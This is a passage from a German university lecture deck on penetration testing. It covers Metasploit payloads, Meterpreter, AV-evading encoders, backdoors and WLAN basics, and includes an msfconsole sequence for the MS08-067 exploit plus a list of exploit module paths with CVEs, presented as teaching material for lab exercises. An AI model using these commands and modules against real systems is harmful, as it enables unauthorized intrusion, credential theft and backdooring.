– Encoder
• Baukastenartige Kombination passender Komponenten zu einem funktionierenden Angriffswerkzeug
![Page 126: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/126.jpg)
Daniel Schalberger, SySS GmbH
126 März 2015 Penetration Testing
Metasploit Details
• Open Source
• Ruby
• Entwickelt von HD Moore
• Maintainance: Rapid7
• Varianten – Metasploit Framework
– Community Edition
– Metasploit Pro ($$$)
• Macht das Leben einfach
![Page 127: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/127.jpg)
Daniel Schalberger, SySS GmbH
127 März 2015 Penetration Testing
Auxilliary-Module
• Verschiedenste Module
– Directory Enumeration
– Login-Brute-Force
– Portscan
– Datenbank-Login
– …
![Page 128: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/128.jpg)
Daniel Schalberger, SySS GmbH
128 März 2015 Penetration Testing
Exploits
• Brauchen Payload
• Über 1.000 Exploits, z.B. gegen
– Windows (Remote / lokal)
– Adobe Reader (PDF-Dateien, Browser-Plugin)
– Internet Explorer (Drive-By-Downloads)
– HP Data Protector
– Ability FTP Server
– …
![Page 129: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/129.jpg)
Daniel Schalberger, SySS GmbH
129 März 2015 Penetration Testing
Payloads
• Shellcode und mehr
• Verschiedenste Kombinationen von Exploit und Payload
• Unterschiede je nach Platform (Windows, Linux, …) – Bind-Shell
– Reverse-Shell
– VNC-Server
– User anlegen
– Befehlszeile ausführen
– Meterpreter
![Page 130: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/130.jpg)
Daniel Schalberger, SySS GmbH
130 März 2015 Penetration Testing
Meterpreter
• Eierlegender Wollmilchsau-Trojaner • Features:
– Dateien hoch- und runterladen – Privilege Escalation – Kontrolle über Prozesse – Keylogger – Webcam und Desktop überwachen – Passwort-Hashes kopieren – Pivoting
• Kombination mit Post-Exploitation-Modulen
![Page 131: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/131.jpg)
Daniel Schalberger, SySS GmbH
131 März 2015 Penetration Testing
Post-Exploitation-Module
• Können auf aktive Meterpreter-Sitzungen angewendet werden
• Beispiele: – Privilege Escalation (Kernel Exploits)
– Passwort-Hashes stehlen (auch Drittsoftware)
– Domain-Cached-Credentials auslesen
– Information Gathering
– Group Policy Preferences auslesen
– Bitcoins stehlen
![Page 132: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/132.jpg)
Daniel Schalberger, SySS GmbH
132 März 2015 Penetration Testing
Encoder
• Viele Exploits haben Probleme mit bestimmten Bytes (Nullbyte, Zeilenumbrüche etc.)
• Encoder wandeln Payload bei selber Bedeutung in andere Byte-Sequenz um
• Können verschachtelt werden
• Umgehung Signatur-basierter AV-Lösungen
• z.B. nur alphanumerische Zeichen
Payload
Kodierte Payload Decoder
![Page 133: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/133.jpg)
Daniel Schalberger, SySS GmbH
133 März 2015 Penetration Testing
Metasploit-Schnittstellen
• msfconsole – Konsolenanwendung für Zugriff auf Metasploit-
Module
• msfpayload – Erzeugen von Payloads
• msfencode – Encoden von Payloads
• msfvenom – Ersatz für msfpayload und msfencode
• …
![Page 134: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/134.jpg)
Daniel Schalberger, SySS GmbH
134 März 2015 Penetration Testing
Beispiel: Angriff gegen Windows XP MS08_067
Schwachstelle im SMB-Dienst (Port 445)
Haupt-Verbreitungsweg von „Conficker“
> use exploit/windows/smb/ms08_067_netapi
> set rhost 192.168.100.0
> set payload windows/meterpreter/bind_tcp
> exploit
Demo / Übung: Eigene Windows-XP-Maschine angreifen via SMB-Exploit, PDF-Exploit, Pass-the-Hash
![Page 135: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/135.jpg)
Daniel Schalberger, SySS GmbH
135 März 2015 Penetration Testing
Module die man kennen sollte Scanner:
auxiliary/scanner/smb/smb_version
auxiliary/scanner/smb/smb_login
Pass-the-Hash:
auxiliary/admin/smb/psexec_command
exploit/windows/smb/psexec
Remote Exploits gegen Windows:
exploit/windows/dcerpc/ms03_026_dcom (CVE-2003-0352)
exploit/windows/smb/ms08_067_netapi (CVE-2008-4250)
Post-Exploitation:
post/windows/gather/cachedump
exploit/windows/local/ms10_015_kitrap0d (CVE-2010-0232)
exploit/windows/local/ppr_flatten_rec (CVE-2013-3660)
Client-Angriffe:
exploit/windows/fileformat/adobe_cooltype_sing (CVE-2010-2883)
![Page 136: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/136.jpg)
Daniel Schalberger, SySS GmbH
136 März 2015 Penetration Testing
Große Windows-Hacking-Übung Führen Sie einen Penetrationstest gegen das bereitgestellte Windows-Netzwerk durch • Versuchen Sie, möglichst viele Schwachstellen aufzudecken
/ mehrere Angriffswege zu finden • Dokumentieren Sie Ihre Funde • Versuchen Sie, Domänen-Administrator zu werden • Dateien anlegen / Benutzer hinzufügen ist erlaubt • Keine vorsätzlichen Denial-of-Service-Angriffe • Sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter
ändern etc.) • Bonusziel: Manipulieren Sie den gefundenen Webserver so,
dass ein Besucher (Teilnehmer-XP-Maschinen) gehackt wird
![Page 137: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/137.jpg)
Daniel Schalberger, SySS GmbH
137 März 2015 Penetration Testing
Spuren beseitigen • Verglichen mit Blackhat-Hackern beim Pentest
untergeordnete Bedeutung • Ein Angriff hinterlässt Spuren und Artefakte
– Log-Einträge – veränderte Zeitstempel – Datenmüll – zusätzliche Benutzerkonten – …
• Typischerweise sollten – Angriffswerkzeuge entfernt werden – Zusätzliche Benutzerkonten entfernt oder protokolliert
werden – Log-Dateien unangetastet bleiben
• Wichtiger als Aufräumen ist eine saubere Dokumentation der durchgeführten Schritte
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 138: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/138.jpg)
Daniel Schalberger, SySS GmbH
138 März 2015 Penetration Testing
Hintertüren • Können mit msfpayload erzeugt werden • Platzierung z.B. als Autostart-Programm,
oder Programmdateien austauschen • Fallbeispiel: Tor-Exit-Node mit HTTP-Proxy,
der alle .EXE-Dateien mit Backdoor ausstattet (http://www.heise.de/security/ meldung/Russischer-Tor-Server-schleuste-Malware-in-Programme-2432114.html)
• Übung: Meterpreter-Backdoor für Windows erstellen
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 139: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/139.jpg)
Daniel Schalberger, SySS GmbH
139 März 2015 Penetration Testing
Denial-of-Service • Angriffe gegen die Verfügbarkeit • i.d.R. nicht erwünscht, schon gar nicht bei
Produktivsystemen • Manchmal Nebenprodukt eines Pentests
durch – Überlastung (autom. Tools) – Fehlerhafte Tools / unvorhergesehenes
Verhalten – falsch eingesetzte Tools (z.B. wegen
fehlender Informationen, Buffer Overflow gegen falsches Ziel)
• RDP: MS12-020 • Apache: Byte-Range-DOS
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 140: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/140.jpg)
Matthias Sattler, SySS GmbH
140 März 2015 Penetration Testing: WLAN
Matthias Sattler, SySS GmbH
Penetration Testing: WLAN
![Page 141: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/141.jpg)
Matthias Sattler, SySS GmbH
141 März 2015 Penetration Testing: WLAN
Dipl. Inform. Matthias Sattler
• Studium in Tübingen (Informatik, BWL)
• Seit 2012 IT-Security Consultant bei der SySS GmbH
![Page 142: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/142.jpg)
Matthias Sattler, SySS GmbH
142 März 2015 Penetration Testing: WLAN
Agenda
• Einleitung
• Grundlagen und Technologien
• WLAN-Sniffing
• Sicherheit im Drahtlosnetzwerk / WLAN-Hacking
![Page 143: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/143.jpg)
Matthias Sattler, SySS GmbH
143 März 2015 Penetration Testing: WLAN
Vorwort Werkzeuge
In der Regel gibt es für jedes in dieser Vorlesung verwendeten Werkzeuge eine Reihe von Alternativen.
Aus zeitlichen Gründen kann nicht auf jede dieser Alternativen eingegangen werden.
![Page 144: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/144.jpg)
Matthias Sattler, SySS GmbH
144 März 2015 Penetration Testing: WLAN
Grundlagen und Technologien
![Page 145: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/145.jpg)
Matthias Sattler, SySS GmbH
145 März 2015 Penetration Testing: WLAN
WLAN-Standards
• WLAN = Wireless-LAN (drahtloses lokales Netzwerk)
• Definiert durch IEEE 802.11
• Momentan existieren mehrere konkurrierende Standards
![Page 146: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/146.jpg)
Matthias Sattler, SySS GmbH
146 März 2015 Penetration Testing: WLAN
WLAN-Standards
![Page 147: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/147.jpg)
Matthias Sattler, SySS GmbH
147 März 2015 Penetration Testing: WLAN
802.11-Erweiterungen
![Page 148: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/148.jpg)
Matthias Sattler, SySS GmbH
148 März 2015 Penetration Testing: WLAN
802.11-Erweiterungen
![Page 149: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/149.jpg)
Matthias Sattler, SySS GmbH
149 März 2015 Penetration Testing: WLAN
802.11-Erweiterungen
![Page 150: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/150.jpg)
Matthias Sattler, SySS GmbH
150 März 2015 Penetration Testing: WLAN
2,4 GHz Band
• Klassisches ISM-Band
• Zur Verwendung sowohl inner- als auch außerhalb von Gebäuden freigeben
• Zur Verwendung für Funknetze über Grundstücksgrenzen hinweg in Deutschland
• Max. Sendeleistung in Deutschland 20dBm (100mW), ansonsten lizenz- und gebührenpflichtig
![Page 151: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/151.jpg)
Matthias Sattler, SySS GmbH
151 März 2015 Penetration Testing: WLAN
![Page 152: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/152.jpg)
Matthias Sattler, SySS GmbH
152 März 2015 Penetration Testing: WLAN
2,4 GHz Band
• Störquellen können WLANs beeinflussen
• Problematik im Mischbetrieb:
– 11b- und 11g-Geräte 54 auf 11 Mbit/s
– 11g- und 11n-Geräte 450 auf 54 Mbit/s
![Page 153: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/153.jpg)
Matthias Sattler, SySS GmbH
153 März 2015 Penetration Testing: WLAN
5 GHz Band
• Zur Allgemeinen Nutzung freigegeben – jedoch stark reguliert
• Durch höhere Frequenz höhere Dämpfung – dadurch ergibt sich eine geringere Reichweite
• Höhere Anzahl nicht-überlappender Kanäle
• Probleme mit DFS und TPC – dadurch bleiben effektiv nur wenige Kanäle übrig
![Page 154: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/154.jpg)
Matthias Sattler, SySS GmbH
154 März 2015 Penetration Testing: WLAN
5 GHz Band
![Page 155: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/155.jpg)
Matthias Sattler, SySS GmbH
155 März 2015 Penetration Testing: WLAN
5 GHz Band
• Störquellen können WLANs beeinflussen:
– Satellitenfunk
– Amateurfunk
– Flugnavigation
– Radar
![Page 156: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/156.jpg)
Matthias Sattler, SySS GmbH
156 März 2015 Penetration Testing: WLAN
CSMA/CA
• CSMA = Carrier Sense Multiple Access
• CA = Collision Avoidance
• Bedeutung: Mehrfachzugriff mit Trägerprüfung und Kollisionsvermeidung
Wichtig ist hier nur: Kollisionserkennung ist prinzipbedingt nicht möglich.
![Page 157: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/157.jpg)
Matthias Sattler, SySS GmbH
157 März 2015 Penetration Testing: WLAN
Problem: Versteckte Endgeräte
• A sendet und erreicht B, aber nicht C
• C sendet und erreicht B, aber nicht A
• A kann nicht erkennen ob C sendet und umgekehrt
• A und C wollen senden Kollision bei B
![Page 158: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/158.jpg)
Matthias Sattler, SySS GmbH
158 März 2015 Penetration Testing: WLAN
Lösung: RTS/CTS
• A will Daten senden
• Vor Übertragungsbeginn: A sendet ein RTS
• Zugangspunkt strahl daraufhin ein CTS aus. Alle Stationen, die das CTS empfangen, halten Zeitschlitz frei A kann nun senden.
Problem: CTS ist für DoS-Angriffe sehr gut geeignet.
![Page 159: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/159.jpg)
Matthias Sattler, SySS GmbH
159 März 2015 Penetration Testing: WLAN
Begriffe & Abkürzungen
![Page 160: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/160.jpg)
Matthias Sattler, SySS GmbH
160 März 2015 Penetration Testing: WLAN
Begriffe & Abkürzungen
![Page 161: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/161.jpg)
Matthias Sattler, SySS GmbH
161 März 2015 Penetration Testing: WLAN
AdHoc-Modus
Verbund von mehreren WLAN-Geräten ohne Benutzung eines Accesspoints.
![Page 162: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/162.jpg)
Matthias Sattler, SySS GmbH
162 März 2015 Penetration Testing: WLAN
Infrastruktur-Modus
Verbund von mehreren WLAN-Geräten über einen Accesspoint.
![Page 163: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/163.jpg)
Matthias Sattler, SySS GmbH
163 März 2015 Penetration Testing: WLAN
Monitor-Modus
• Spezieller Modus der PHY-Schicht
• WLAN-Karte liest alle 802.11-Rahmen und reicht diese an die höheren Schichten weiter – nicht nur die Rahmen, welche für sie bestimmt sind
• Wird in erster Linie von WLAN-Sniffern verwendet
![Page 164: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/164.jpg)
Matthias Sattler, SySS GmbH
164 März 2015 Penetration Testing: WLAN
AdHoc vs. Infrastruktur: Vor-/Nachteile
![Page 165: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/165.jpg)
Matthias Sattler, SySS GmbH
165 März 2015 Penetration Testing: WLAN
WLAN-Sniffing
![Page 166: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/166.jpg)
Matthias Sattler, SySS GmbH
166 März 2015 Penetration Testing: WLAN
Sniffing-Airodump
![Page 167: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/167.jpg)
Matthias Sattler, SySS GmbH
167 März 2015 Penetration Testing: WLAN
Sniffing-Aircrack / Aircrack-NG
![Page 168: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/168.jpg)
Matthias Sattler, SySS GmbH
168 März 2015 Penetration Testing: WLAN
Sniffing-Aircrack / Aircrack-NG
![Page 169: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/169.jpg)
Matthias Sattler, SySS GmbH
169 März 2015 Penetration Testing: WLAN
Exkurs „Offenes WLAN“
![Page 170: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/170.jpg)
Matthias Sattler, SySS GmbH
170 März 2015 Penetration Testing: WLAN
Exkurs „Offenes WLAN“
• Ungesicherte WLANs sind NICHT vertrauenswürdig!
• Die Präsenz eines Hackers wird nicht bemerkt!
• Öffentliche HotSpots erfordern besondere Vorsicht!
![Page 171: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/171.jpg)
Matthias Sattler, SySS GmbH
171 März 2015 Penetration Testing: WLAN
Sicherheit im WLAN / WLAN-Hacking
![Page 172: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/172.jpg)
Matthias Sattler, SySS GmbH
172 März 2015 Penetration Testing: WLAN
Anforderungen
Generell: Drei Anforderungen bezüglich der Sicherheit eines Netzwerkes:
• Authentifizierung & Autorisierung
• Integrität
• Vertraulichkeit
![Page 173: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/173.jpg)
Matthias Sattler, SySS GmbH
173 März 2015 Penetration Testing: WLAN
Deaktivierung des SSID-Broadcasts
• Über den regelmäßig ausgestrahlten Beacon erfolgt eine Rundsendung der eigenen (E)SSID des AP
• Die meisten APs erlauben Unterdrückung des Broadcasts Funknetzname wird Clients nicht bekanntgegeben
• Keine Authentifizierung am AP durch Client möglich SSID = „shared secret“
![Page 174: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/174.jpg)
Matthias Sattler, SySS GmbH
174 März 2015 Penetration Testing: WLAN
Deaktivierung des SSID-Broadcasts
• ABER: Jeder Client übermittelt seine SSID während des Handshakes unverschlüsselt
• Sniffer kann gültige SSIDs ermitteln
• Folge daraus: nur ein Trivialschutz der Infrastruktur vor unberechtigten Zugriffen.
![Page 175: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/175.jpg)
Matthias Sattler, SySS GmbH
175 März 2015 Penetration Testing: WLAN
MAC-Filterung am Access Point
• Die MAC-Adressen aller gültigen Clients werden auf dem AP in einer Liste verwaltet.
• Nur Systeme mit einer gültigen MAC-Adresse können sich erfolgreich am AP authentifizieren.
![Page 176: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/176.jpg)
Matthias Sattler, SySS GmbH
176 März 2015 Penetration Testing: WLAN
MAC-Filterung am Access Point
